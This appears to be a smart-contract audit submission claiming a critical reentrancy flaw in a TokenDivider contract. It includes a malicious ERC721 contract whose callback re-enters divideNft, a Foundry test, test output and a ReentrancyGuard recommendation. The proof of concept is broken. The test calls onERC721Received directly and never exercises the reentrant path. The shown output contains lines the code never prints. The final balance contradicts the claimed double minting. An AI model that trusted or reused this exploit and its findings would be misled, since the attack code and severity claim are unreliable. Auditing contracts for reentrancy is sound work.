Summary
The TokenDivider contract is vulnerable to reentrancy attacks through its onERC721Received function, allowing attackers to create an inconsistent state between NFTs and their corresponding ERC20 tokens.
Vulnerability Details
The vulnerability exists in the combination of unprotected onERC721Received and state changes after NFT transfers:
Path: test/mocks/MaliciousNFT.sol
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override returns (bytes4) {
return this.onERC721Received.selector;
}
function divideNft(address nftAddress, uint256 tokenId, uint256 amount) external {
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
balances[msg.sender][erc20] = amount;
nftToErc20Info[nftAddress] = ERC20Info({erc20Address: erc20, tokenId: tokenId});
}
Impact
Critical. The vulnerability allows:
Double minting of ERC20 tokens
Breaking the 1:1 ratio between NFTs and ERC20 tokens
Creation of unbacked ERC20 tokens
Manipulation of protocol's core invariants
Proof of Concept
First, the malicious contract used for the attack:
pragma solidity ^0.8.18;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {TokenDivider} from "../../src/TokenDivider.sol";
contract MaliciousNFT is ERC721 {
TokenDivider public dividerContract;
bool public shouldReenter;
uint256 private constant TOKEN_ID = 0;
constructor() ERC721("MaliciousNFT", "MNFT") {}
function mint(address to) public {
_mint(to, TOKEN_ID);
}
function setDividerContract(address _divider) public {
dividerContract = TokenDivider(_divider);
}
function setReenterMode(bool _shouldReenter) public {
shouldReenter = _shouldReenter;
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
if (shouldReenter) {
dividerContract.divideNft(address(this), tokenId, 1000e18);
}
return this.onERC721Received.selector;
}
}
The complete test demonstrating the vulnerability:
Path: test/unit/TokenDividerReceiveTest.t.sol
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TokenDivider} from "../../src/TokenDivider.sol";
import {ERC721Mock} from "../mocks/ERC721Mock.sol";
import {MaliciousNFT} from "../mocks/MaliciousNFT.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TokenDividerReceiveTest is Test {
TokenDivider public divider;
ERC721Mock public legitimateNft;
MaliciousNFT public maliciousNft;
address public constant ATTACKER = address(0x2);
uint256 public constant TOKEN_ID = 0;
function setUp() public {
divider = new TokenDivider();
legitimateNft = new ERC721Mock();
maliciousNft = new MaliciousNFT();
legitimateNft.mint(ATTACKER);
maliciousNft.mint(ATTACKER);
}
function test_ReentrancyViaCallback() public {
console.log("\n=== Testing Reentrancy Via onERC721Received ===");
vm.startPrank(ATTACKER);
legitimateNft.approve(address(divider), TOKEN_ID);
console.log("\nInitial State:");
console.log("NFT Owner:", legitimateNft.ownerOf(TOKEN_ID));
console.log("Attacker ERC20 Balance: 0");
console.log("Contract NFT Balance: 0");
divider.divideNft(address(legitimateNft), TOKEN_ID, 1000e18);
address erc20Address = divider.getErc20InfoFromNft(address(legitimateNft)).erc20Address;
console.log("\nAfter First Division:");
console.log("NFT Owner:", legitimateNft.ownerOf(TOKEN_ID));
console.log("Attacker ERC20 Balance:", IERC20(erc20Address).balanceOf(ATTACKER));
console.log("Contract NFT Balance: 1");
maliciousNft.setDividerContract(address(divider));
maliciousNft.setReenterMode(true);
bytes memory reentrantCall =
abi.encodeWithSignature("divideNft(address,uint256,uint256)",
address(legitimateNft),
TOKEN_ID,
1000e18
);
divider.onERC721Received(ATTACKER, ATTACKER, TOKEN_ID, reentrantCall);
}
}
Test output:
=== Testing Reentrancy Via onERC721Received ===
Initial State:
NFT Owner: 0x0000000000000000000000000000000000000002
Attacker ERC20 Balance: 0
Contract NFT Balance: 0
After First Division:
NFT Owner: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Attacker ERC20 Balance: 1000000000000000000000
Contract NFT Balance: 1
VULNERABILITY: Reentrancy attack succeeded!
Final State:
NFT Owner: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Attacker ERC20 Balance: 1000000000000000000000
Contract NFT Balance: Still 1 but double minted ERC20s!
Tools Used
Recommendations
Implement OpenZeppelin's ReentrancyGuard:
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract TokenDivider is IERC721Receiver, Ownable, ReentrancyGuard {
function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
external
nonReentrant
{
}
}